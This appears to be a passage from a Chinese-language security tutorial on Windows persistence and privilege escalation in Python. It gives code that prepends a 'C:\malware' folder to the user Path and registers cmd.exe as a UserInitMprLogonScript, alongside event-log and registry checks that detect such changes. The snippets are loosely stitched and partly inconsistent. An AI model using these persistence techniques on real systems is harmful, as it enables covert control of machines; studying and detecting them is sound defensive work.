Windows Path 持續性攻擊與防禦

import winreg

def readPathValue(hive, subkey):
    with winreg.OpenKey(hive, subkey) as key:
        for i in range(winreg.QueryInfoKey(key)[1]):
            name, value, type = winreg.EnumValue(key, i)
            if name == 'Path':
                return value
    return None

def editPathValue(hive, subkey, new_path):
    with winreg.OpenKey(hive, subkey, 0, winreg.KEY_SET_VALUE) as key:
        winreg.SetValueEx(key, 'Path', 0, winreg.REG_EXPAND_SZ, new_path)

# 使用範例
hive = winreg.HKEY_CURRENT_USER
subkey = 'Environment'
current_path = readPathValue(hive, subkey)
new_path = 'C:\\malware;' + current_path
editPathValue(hive, subkey, new_path)

import filetime
import winreg
from datetime import datetime, timedelta

def check_path_modification():
    delta = timedelta(weeks=2)
    t = filetime.from_datetime(datetime.now() - delta)
    hive = winreg.HKEY_LOCAL_MACHINE
    subkey = 'SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment'
    with winreg.OpenKey(hive, subkey) as key:
        timestamp = filetime.to_datetime(winreg.QueryInfoKey(key)[2])
        if timestamp > datetime.now() - delta:
            print('Path變數最近被修改過')
        else:
            print('Path變數最近沒有被修改')

check_path_modification()

import win32evtlog

server = "localhost"
logtype = "Security"
flags = win32evtlog.EVENTLOG_FORWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ

def QueryEventLog(eventID, filename=None):
    logs = []
    if not filename:
        h = win32evtlog.OpenEventLog(server, logtype)
    else:
        h = win32evtlog.OpenBackupEventLog(server, filename)
    while True:
        events = win32evtlog.ReadEventLog(h, flags, 0)
        if events:
            for event in events:
                if event.EventID == eventID:
                    logs.append(event)
        else:
            break
    return logs

def detectPathModification():
    events = QueryEventLog(4657)
    for event in events:
        if event.StringInserts[5] == "Path":
            key = event.StringInserts[4]
            oldPath = event.StringInserts[9].split(";")
            newPath = event.StringInserts[11].split(";")
            additions = [d for d in newPath if d not in oldPath]
            deletions = [d for d in oldPath if d not in newPath]
            process = event.StringInserts[-1]
            pid = event.StringInserts[-2]
            print("Path at %s modified by %s (PID %s):" % (key, process, pid))
            if additions:
                print("\tAdditions: ")
                for a in additions:
                    print("\t\t%s" % a)

#### 程式碼解密：
1. **匯入必要的模組**：程式碼首先匯入了`win32evtlog`模組，這是用於存取Windows事件日誌的Python擴充套件模組。
2. **定義事件日誌查詢函式**：`QueryEventLog`函式用於查詢特定事件ID的事件日誌記錄。它接受事件ID和可選的日誌檔案名稱作為引數。
3. **開啟事件日誌**：函式內部根據是否提供了日誌檔案名稱，決定是開啟實時事件日誌還是備份事件日誌。
4. **讀取事件日誌記錄**：使用`ReadEventLog`函式讀取事件日誌記錄，並篩選出指定事件ID的記錄。
5. **定義檢測Path修改的函式**：`detectPathModification`函式呼叫`QueryEventLog`查詢事件ID為4657的記錄，這些記錄與登入檔修改相關。
6. **分析事件記錄**：對於每個相關的事件記錄，函式提取出被修改的鍵值、舊的Path值、新的Path值、執行修改的程式名稱和PID等資訊。
7. **計算Path值的變化**：透過比較舊的和新的Path值，計算出新增和刪除的路徑。
8. **輸出結果**：最後，函式輸出Path被修改的詳細資訊，包括被修改的鍵值、執行修改的程式和PID，以及具體的新增和刪除的路徑。

## 維持永續性與提權攻擊的檢測及防禦

在前一章中，我們探討瞭如何利用Python來強化攻擊者在受感染電腦上的立足點，採用了永續性機制。本章節將討論如何使用類別似技術來獲得提升的許可權或擴充套件存取許可權。

### 提權攻擊的實行

本章節重點關注**啟動或登入初始化指令碼**和**劫持執行流程**。首先，我們將探討使用登入指令碼來擴充套件許可權，接著展示如何劫持Python的匯入模組搜尋順序。

#### 登入指令碼的建立與檢測

登入指令碼儲存在Windows登入檔中，但其位置與自動執行鍵略有不同。登入指令碼僅在使用者登入事件觸發，這意味著它們不位於`HKEY_LOCAL_MACHINE (HKLM)`組態單元內。登入指令碼是為個別使用者帳戶在其特定的組態單元中定義的。

##### LogonScript.py 程式碼分析
```python
import winreg

# Windows 登入指令碼鍵
# reghive = winreg.HKEY_CURRENT_USER
# regpath = "Environment"
reghive = winreg.HKEY_USERS
userSID = "<userSID>"
regpath = userSID + "\Environment"
command = "cmd.exe"

import winreg

# 檢測登入指令碼
def detect_logon_script():
    reghive = winreg.HKEY_USERS
    userSID = "<userSID>"
    regpath = userSID + "\Environment"
    try:
        key = winreg.OpenKey(reghive, regpath)
        value, type_id = winreg.QueryValueEx(key, "Script")
        print(f"發現登入指令碼：{value}")
    except FileNotFoundError:
        print("未發現登入指令碼")

detect_logon_script()

key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_WRITE)
winreg.SetValueEx(key, "UserInitMprLogonScript", 0, winreg.REG_SZ, command)

import winreg

def checkValues(key, keyword):
    numValues = winreg.QueryInfoKey(key)[1]
    for i in range(numValues):
        try:
            values = winreg.EnumValue(key, i)
            if values[0] == keyword:
                return values[1]
        except Exception as e:
            continue
    return None

def checkLogonScripts():
    try:
        numUsers = winreg.QueryInfoKey(winreg.HKEY_USERS)[0]
        for i in range(numUsers):
            userKey = winreg.EnumKey(winreg.HKEY_USERS, i)
            regPath = "%s\\%s" % (userKey, "Environment")
            key = winreg.OpenKey(winreg.HKEY_USERS, regPath)
            script = checkValues(key, "UserInitMprLogonScript")
            if script:
                print("在HKU\\%s\\Environment下偵測到登入指令碼：\n\t%s" % (userKey, script))
    except:
        return

checkLogonScripts()